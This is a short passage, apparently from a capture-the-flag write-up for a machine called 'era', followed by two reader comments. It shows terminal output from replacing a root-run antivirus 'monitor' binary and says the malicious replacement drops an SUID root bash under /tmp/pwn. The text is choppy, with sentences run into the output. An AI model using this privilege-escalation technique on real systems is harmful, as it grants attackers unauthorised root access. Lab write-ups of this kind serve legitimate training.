100 761k 100 761k 0 0 158k 0 0:00:04 0:00:04 --:--:-- 174k
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
eric@era:/opt/AV/periodic-checks$ ls -l
ls -l
total 788
-rwxrwxr-x 1 eric eric 778568 Jul 27 10:36 monitor
-rwxrw---- 1 root devs 16544 Jul 27 10:36 monitor.bak
-rw-rw---- 1 root devs 103 Jul 27 10:36 status.logUntil the log updates and replies "SUCCESS":
eric@era:/opt/AV/periodic-checks$ tail st*
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.Once triggered, the malicious monitor will drop an SUID-set bash binary under /tmp/pwn as root:

Rooted.

Comments | 2 comments
How many hours do I need to study per day to reach this level !
@noobUser Dont count until the day comes